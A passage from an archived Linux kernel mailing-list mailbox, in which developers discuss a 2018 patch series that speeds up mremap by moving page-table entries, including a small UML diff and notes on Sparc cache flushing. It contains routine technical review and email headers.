 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=TWO+dFnIA15gJmvQ4eNCqGVZ4Qr8lNDSuRvOzoXBn+E=; b=LpQPOrEzfcetGvwZwbUXsW5jL
 9gKw3v4aeBOrLu+Ks/Dywu6PauC7ZBy9jqDKLl8hTKE7OdFCcbV1tzcpoC5KZfk7E6kP+ONIuLVjT
 67b9yKkNfTGDTlQWq26Vt1LELW4X0KZOZBOR3VgUXbWizRilMTxwEXmyf/l0jJ87mspaB4Yd32P2V
 Jy5mvReV0X030BINy+7ikVtGS7CHORdSiPc1gDmVIS3YXNj/ENToB2CJCJ23VwMZWhAcIJRxJjxxp
 rAyjJlSI84QDLp2K/EFVsofW/qp2T3KROi5yBd5oVVUAEf7NsRKDuuSuq1tjHx0z/Yv0T75VjUTKH
 AFOPx4uNA==;
Original-Received: from mail-pf1-x441.google.com ([2607:f8b0:4864:20::441])
 by casper.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0u8-0006Ie-Uv
 for linux-riscv@lists.infradead.org; Fri, 12 Oct 2018 17:07:16 +0000
Original-Received: by mail-pf1-x441.google.com with SMTP id m77-v6so6501982pfi.8
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 10:07:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=TWO+dFnIA15gJmvQ4eNCqGVZ4Qr8lNDSuRvOzoXBn+E=;
 b=WwQOLfCbO08E3NezFCRCjwi3+jigw7IuZV/3VMwyQTIrRXeYa1SnFe/q8Q8jl8npqM
 m7+28ANzAzlEob4deL70RikU2qKMFmo22Iqv7KRsQzLW0+PPtrLc3yy2PVaZXzxrb9Iu
 QWG8MqGMV8u6uclnrr8mBMRhkTg2589/g79Lk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=TWO+dFnIA15gJmvQ4eNCqGVZ4Qr8lNDSuRvOzoXBn+E=;
 b=CW73PMIb86cHRfX8IAMCsL5LZWQHO9EUJNONuWUxuR/gWV5TeyRU3xeklrjrtpMv0L
 XqTrjPSn8EM+U+9oCF09pQjsu8tXxRk6qIBsalP3w0KcuwZc+a1TptJhL+Bs55t6Mn88
 2ezM773l7wyxzYEE3bj44jDJEpfEgM0Eq4boBtGlzb4zwi5H0R1rgnrnGCas4/zZaxA3
 MsMXr6pogfgHD5KahrNrWAOMbDFx9oS3MCg7qr4tJ8i0QxWnrPphvHEGDrJwgJq+tdO1
 WGMtJajmcSmE/kwKTGuWTunbjvWQolDpqjO4NNjgbVWoQvvf4jXex2rYgQjCkPkCYMRB
 Fa+Q==
X-Gm-Message-State: ABuFfojMKE6DHb9qJdWmrYsDtH6mHk4rJPawnLF4tQ3tfT0rRY1bq2KM
 aYxqTvXumP+lyYcKmKpa1jzeqg==
X-Google-Smtp-Source: ACcGV62OCxlNUxXyh36zKpq33KISxAGo4zTV/25XvmfDqzhMWe9+VxAYnqYbiMM/wNfwPBwH+ngvTg==
X-Received: by 2002:a65:4783:: with SMTP id e3-v6mr6189410pgs.12.1539364020849; 
 Fri, 12 Oct 2018 10:07:00 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id i5-v6sm2695646pgs.10.2018.10.12.10.06.59
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 12 Oct 2018 10:06:59 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <4f969958-913e-cb9f-48fb-e3a88e1d288c@kot-begemot.co.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_180713_015479_B0845702 
X-CRM114-Status: GOOD (  40.59  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on casper.infradead.org summary:
 Content analysis details:   (-0.1 points, 5.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:441 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1053 gmane.linux.ports.mips.general:67050 gmane.linux.ports.ia64:29385 gmane.linux.ports.sh.devel:57633 gmane.linux.kernel.mm:205163 gmane.linux.ports.sparc:28556 gmane.linux.ports.hexagon:1908 gmane.comp.emulators.kvm.arm.devel:19435 gmane.linux.kernel.arc:4534 gmane.linux.ports.alpha:5310 gmane.linux.ports.arm.kernel:679370 gmane.linux.ports.parisc:29160 gmane.linux.kernel:2897853 gmane.linux.ports.ppc64.devel:164156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1053>

On Fri, Oct 12, 2018 at 05:58:40PM +0100, Anton Ivanov wrote:
[...]
> > > > > > If I read the code right, MIPS completely ignores the address
> > > > > > argument so
> > > > > > set_pmd_at there may not have the effect which this patch is trying to
> > > > > > achieve.
> > > > > Ignoring address is fine. Most architectures do that..
> > > > > The ideas is to move page table to the new pmd slot. It's nothing to do
> > > > > with the address passed to set_pmd_at().
> > > > If that is it's only function, then I am going to appropriate the code
> > > > out of the MIPS tree for further uml testing. It does exactly that -
> > > > just move the pmd the new slot.
> > > > 
> > > > A.
> > > 
> > > A.
> > > 
> > >  From ac265d96897a346b05646fce91784ed4922c7f8d Mon Sep 17 00:00:00 2001
> > > From: Anton Ivanov <anton.ivanov@cambridgegreys.com>
> > > Date: Fri, 12 Oct 2018 17:24:10 +0100
> > > Subject: [PATCH] Incremental fixes to the mmremap patch
> > > 
> > > Signed-off-by: Anton Ivanov <anton.ivanov@cambridgegreys.com>
> > > ---
> > >   arch/um/include/asm/pgalloc.h | 4 ++--
> > >   arch/um/include/asm/pgtable.h | 3 +++
> > >   arch/um/kernel/tlb.c          | 6 ++++++
> > >   3 files changed, 11 insertions(+), 2 deletions(-)
> > > 
> > > diff --git a/arch/um/include/asm/pgalloc.h b/arch/um/include/asm/pgalloc.h
> > > index bf90b2aa2002..99eb5682792a 100644
> > > --- a/arch/um/include/asm/pgalloc.h
> > > +++ b/arch/um/include/asm/pgalloc.h
> > > @@ -25,8 +25,8 @@
> > >   extern pgd_t *pgd_alloc(struct mm_struct *);
> > >   extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
> > > -extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
> > > -extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
> > > +extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
> > > +extern pgtable_t pte_alloc_one(struct mm_struct *);
> > If its Ok, let me handle this bit since otherwise it complicates things for
> > me.
> > 
> > >   static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
> > >   {
> > > diff --git a/arch/um/include/asm/pgtable.h b/arch/um/include/asm/pgtable.h
> > > index 7485398d0737..1692da55e63a 100644
> > > --- a/arch/um/include/asm/pgtable.h
> > > +++ b/arch/um/include/asm/pgtable.h
> > > @@ -359,4 +359,7 @@ do {						\
> > >   	__flush_tlb_one((vaddr));		\
> > >   } while (0)
> > > +extern void set_pmd_at(struct mm_struct *mm, unsigned long addr,
> > > +		pmd_t *pmdp, pmd_t pmd);
> > > +
> > >   #endif
> > > diff --git a/arch/um/kernel/tlb.c b/arch/um/kernel/tlb.c
> > > index 763d35bdda01..d17b74184ba0 100644
> > > --- a/arch/um/kernel/tlb.c
> > > +++ b/arch/um/kernel/tlb.c
> > > @@ -647,3 +647,9 @@ void force_flush_all(void)
> > >   		vma = vma->vm_next;
> > >   	}
> > >   }
> > > +void set_pmd_at(struct mm_struct *mm, unsigned long addr,
> > > +		pmd_t *pmdp, pmd_t pmd)
> > > +{
> > > +	*pmdp = pmd;
> > > +}
> > > +
> > I believe this should be included in a separate patch since it is not related
> > specifically to pte_alloc argument removal. If you want, I could split it
> > into a separate patch for my series with you as author.
> 
> 
> Whichever is more convenient for you.

Ok.

> One thing to note - tlb flush is extremely expensive on uml.
> 
> I have lifted the definition of set_pmd_at from the mips tree and removed
> the tlb_flush_all from it for this exact reason.
> 
> If I read the original patch correctly, it does its own flush control so
> set_pmd_at does not need to do a force flush every time. It is done further
> up the chain.

That is correct. It is not done during the optimization, but is done later
after the pmds have moved.

thanks,

 - Joel

From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 11:02:20 -0700 (PDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20181012.110220.321284613911888246.davem@davemloft.net>
References: <20181012013756.11285-1-joel@joelfernandes.org>
        <20181012013756.11285-2-joel@joelfernandes.org>
        <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539367225 5317 195.159.176.226 (12 Oct 2018 18:00:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 18:00:25 +0000 (UTC)
Cc: joel@joelfernandes.org, linux-kernel@vger.kernel.org,
        kernel-team@android.com, minchan@kernel.org, pantin@google.com,
        hughd@google.com, lokeshgidra@google.com, dancol@google.com,
        mhocko@kernel.org, akpm@linux-foundation.org,
        aryabinin@virtuozzo.com, luto@kernel.org, bp@alien8.de,
        catalin.marinas@arm.com, chris@zankel.net,
        dave.hansen@linux.intel.com, elfring@users.sourceforge.net,
        fenghua.yu@intel.com, geert@linux-m68k.org, gxt@pku.edu.cn,
        deller@gmx.de, mingo@redhat.com, jejb@parisc-linux.org,
        jdike@addtoit.com, jonas@southpole.se, Julia.Lawall@lip6.fr,
        kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
        lftan@altera.com, linux-alpha@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linu
To: kirill@shutemov.name
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 20:00:17 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gB1jU-0001Aw-Oy
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 20:00:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727610AbeJMBgG (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 21:36:06 -0400
Original-Received: from shards.monkeyblade.net ([23.128.96.9]:48264 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727214AbeJMBgF (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 21:36:05 -0400
Original-Received: from localhost (c-67-183-145-105.hsd1.wa.comcast.net [67.183.145.105])
        (using TLSv1 with cipher AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 45BE6133E9F9A;
        Fri, 12 Oct 2018 11:02:21 -0700 (PDT)
In-Reply-To: <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
X-Mailer: Mew version 6.7 on Emacs 26 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Fri, 12 Oct 2018 11:02:23 -0700 (PDT)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897914 gmane.comp.emulators.kvm.arm.devel:19441 gmane.linux.ports.alpha:5311 gmane.linux.ports.arm.kernel:679380 gmane.linux.ports.hexagon:1909 gmane.linux.ports.ia64:29386 gmane.linux.ports.mips.general:67052 gmane.linux.kernel.mm:205184 gmane.linux.ports.parisc:29161 gmane.linux.ports.ppc64.devel:164157 gmane.linux.ports.riscv:1054 gmane.linux.ports.sh.devel:57634 gmane.linux.kernel.arc:4535
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897914>

From: "Kirill A. Shutemov" <kirill@shutemov.name>
Date: Fri, 12 Oct 2018 14:30:56 +0300

> I looked into the code more and noticed move_pte() helper called from
> move_ptes(). It changes PTE entry to suite new address.
> 
> It is only defined in non-trivial way on Sparc. I don't know much about
> Sparc and it's hard for me to say if the optimization will break anything
> there.
> 
> I think it worth to disable the optimization if __HAVE_ARCH_MOVE_PTE is
> defined. Or make architectures state explicitely that the optimization is
> safe.

What sparc is doing in move_pte() is flushing the data-cache
(synchronously) if the virtual address color of the mapping changes.

Hope this helps.


From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 11:18:36 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20181012.111836.1569129998592378186.davem@davemloft.net>
References: <20181012013756.11285-2-joel@joelfernandes.org>
        <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
        <20181012125046.GA170912@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539368201 11784 195.159.176.226 (12 Oct 2018 18:16:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 18:16:41 +0000 (UTC)
Cc: kirill@shutemov.name, linux-kernel@vger.kernel.org,
        kernel-team@android.com, minchan@kernel.org, pantin@google.com,
        hughd@google.com, lokeshgidra@google.com, dancol@google.com,
        mhocko@kernel.org, akpm@linux-foundation.org,
        aryabinin@virtuozzo.com, luto@kernel.org, bp@alien8.de,
        catalin.marinas@arm.com, chris@zankel.net,
        dave.hansen@linux.intel.com, elfring@users.sourceforge.net,
        fenghua.yu@intel.com, geert@linux-m68k.org, gxt@pku.edu.cn,
        deller@gmx.de, mingo@redhat.com, jejb@parisc-linux.org,
        jdike@addtoit.com, jonas@southpole.se, Julia.Lawall@lip6.fr,
        kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
        lftan@altera.com, linux-alpha@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-
To: joel@joelfernandes.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 20:16:33 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gB1zE-0002v8-9b
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 20:16:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726758AbeJMBw0 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 21:52:26 -0400
Original-Received: from shards.monkeyblade.net ([23.128.96.9]:48626 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725929AbeJMBwZ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 21:52:25 -0400
Original-Received: from localhost (c-67-183-145-105.hsd1.wa.comcast.net [67.183.145.105])
        (using TLSv1 with cipher AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 33244136DD156;
        Fri, 12 Oct 2018 11:18:37 -0700 (PDT)
In-Reply-To: <20181012125046.GA170912@joelaf.mtv.corp.google.com>
X-Mailer: Mew version 6.7 on Emacs 26 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Fri, 12 Oct 2018 11:18:39 -0700 (PDT)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897929 gmane.comp.emulators.kvm.arm.devel:19443 gmane.linux.ports.alpha:5312 gmane.linux.ports.arm.kernel:679383 gmane.linux.ports.hexagon:1910 gmane.linux.ports.ia64:29387 gmane.linux.ports.mips.general:67053 gmane.linux.kernel.mm:205189 gmane.linux.ports.parisc:29162 gmane.linux.ports.ppc64.devel:164158 gmane.linux.ports.riscv:1055 gmane.linux.ports.sh.devel:57635 gmane.linux.kernel.arc:4536
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897929>

From: Joel Fernandes <joel@joelfernandes.org>
Date: Fri, 12 Oct 2018 05:50:46 -0700

> If its an issue, then how do transparent huge pages work on Sparc?  I don't
> see the huge page code (move_huge_pages) during mremap doing anything special
> for Sparc architecture when moving PMDs..

This is because all huge pages are larger than SHMLBA.  So no cache flushing
necessary.

> Also, do we not flush the caches from any path when we munmap
> address space?  We do call do_munmap on the old mapping from mremap
> after moving to the new one.

Sparc makes sure that shared mapping have consistent colors.  Therefore
all that's left are private mappings and those will be initialized by
block stores to clear the page out or similar.

Also, when creating new mappings, we flush the D-cache when necessary
in update_mmu_cache().

We also maintain a bit in the page struct to track when a page which
was potentially written to on one cpu ends up mapped into another
address space and flush as necessary.

The cache is write-through, which simplifies the preconditions we have
to maintain.


From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.janitors,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Fri, 12 Oct 2018 20:51:45 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <03b524f3-5f3a-baa0-2254-9c588103d2d6@users.sourceforge.net>
References: <20181012013756.11285-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1539370326 7283 195.159.176.226 (12 Oct 2018 18:52:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 18:52:06 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.2.1
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org,
 Lokesh Gidra <lokeshgidra@google.com>, sparclinux@vger.kernel.org,
 linux-riscv@lists.infradead.org, kvmarm@lists.cs.columbia.edu,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
 Daniel Colascione <dancol@google.com>,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Hugh Dickins <hughd@google.com>,
 "James E. J. Bottomley" <jejb@parisc-linux.org>, kasan-dev@googlegroups.com,
 Ingo
To: Joel Fernandes <joel@joelfernandes.org>, kernel-janitors@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 20:51:57 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gB2XU-0001eG-Ez
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 20:51:56 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=J1Zz8HZdLRHPAnKfTlzHy8TkJ4s8gmS13j8aKH2zzUA=; b=EDh7Lj+1Y7h+1H
	BAcHbuCMnlWDC6tvkuYJ/KKsnw6Jv6MjoHkX+Sgo27FIGLrJql7gSxGk01yTAPR0ToEIR4ugxIhMK
	w/194YfUzoJGvEiC1YPHX5Q4BFsZBN9asOQenlgjYKnc6r4VQU5VOhXDXdl4cXcJt8RYLz2S1zCAQ
	+kDjigQXlNCizL3naL0h1a0/dB+trTG79PczL2DSXJP1qcH8swUxW2iQqkkjQLPCcwLhJYZ0+xaqG
	Bpo2/3Tz1mKHgtgiqQUXxfmaFi1g+hiWl7QpVrd3wo7oEcbWVeF2Xv9rQEHxo70kIacR/sVipYuCY
	IR1dDO7hjfTOA0ZH8YxA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB2ZY-0000BC-Py; Fri, 12 Oct 2018 18:54:04 +0000
Original-Received: from mout.web.de ([217.72.192.78])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB2ZU-0008QG-8B; Fri, 12 Oct 2018 18:54:02 +0000
Original-Received: from [192.168.1.2] ([77.182.238.221]) by smtp.web.de (mrweb102
 [213.165.67.124]) with ESMTPSA (Nemesis) id 0M6V1T-1fRTIY0mGx-00yNhT; Fri, 12
 Oct 2018 20:52:01 +0200
Original-Received: from [192.168.1.2] ([77.182.238.221]) by smtp.web.de (mrweb102
 [213.165.67.124]) with ESMTPSA (Nemesis) id 0M6V1T-1fRTIY0mGx-00yNhT; Fri, 12
 Oct 2018 20:52:01 +0200
In-Reply-To: <20181012013756.11285-1-joel@joelfernandes.org>
Content-Language: en-GB
X-Provags-ID: V03:K1:kL1jfGghCfX5IqF0iVRDf8mQoouSapQgO45dI9woF05xgJDfw/d
 AA5sy1osx5PoQoz8e05NX77GNXJPHw9DPR0si3tMAft3cP3Og/UHQyAFEv44VXROloUsniB
 Y8tHxhnCqGSXk3sDOvyIeh0eyIwAL0z+iO5ZuRU8MJFacaGuv/K0/oO3MnIdqboq2zbaeLx
 atswja9Z0HU2X9bmK8r2Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:VYhd+82Fahk=:8qKapuTAK9PGC3QZTGFm93
 Cv2uqZ6//UeJGJZRMh8t6n/D607bhM1JOv0wjRaxbPn/FW+RXDkMkih/t/gcO0hiGvN00WxSH
 IUOZ5UtG4kENR0gAMawuKNvB3LYcHHG1grcbSDqQP/BP66NmXdnncdyC/Fje3KSEJqrBsRHgS
 flHBVB2rkw+Sy4wZAzvjDgK9v1jeeixWlZcCGq1hd6V8ua/ZFailYZ5twLThZPB30GH0alEeN
 4BtcuJtue0qkcUIWFRl1hmdRR5yZvHjT9G3LVxNawPDJYbR2E/TSC2W1COIT8+YT5YBMm0Fxv
 CVCdMWpPV1NaDj8bAFDmchFSwtoFeQlsxVrDtyH0gnZIAcDL1j4j4uaSLVIWcBXN5rhNFjK9H
 3NwtAoLBOLVGX9Ls6HdRK6GTJaYuo5EsxJI16AX32mKNB++RlDhqyr7bqfkkb/WqHXKs3eOTu
 c8F8lqPWVCFAApAGqYnH9taUkWETaXUpGv5nUcYPfjs4TbvOf7jgv4u2azPEp6x+w1COYQJo7
 p13QwmpRRaU/KPxmSbvhunzILyYWG1dQCFpQhDnbuYICSC2DtHVit2NMrNANj+BTHJ4SCceSi
 jTT9dKo7bVCOEQXehz7gqeY5s8xdjd8k+jT4gurpwowY5OZKnVS/YEw7tIuTSEOGTzURUzy9C
 kgRV9hC2Zaqx2MJYmkpaBJigq+1QkIcVVkao5vfZ7Aku6ztfDwqaN8kp6lTzAFV5YGDmPnfvt
 BNOLByR2sgQDnjzgmDIlkBLnLlcavYosoSLzlNhWeLW698K8b0Z67v3JhT9bQ9nF9ogTFxMZ 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_115400_634434_21839213 
X-CRM114-Status: UNSURE (   8.63  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.72.192.78 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
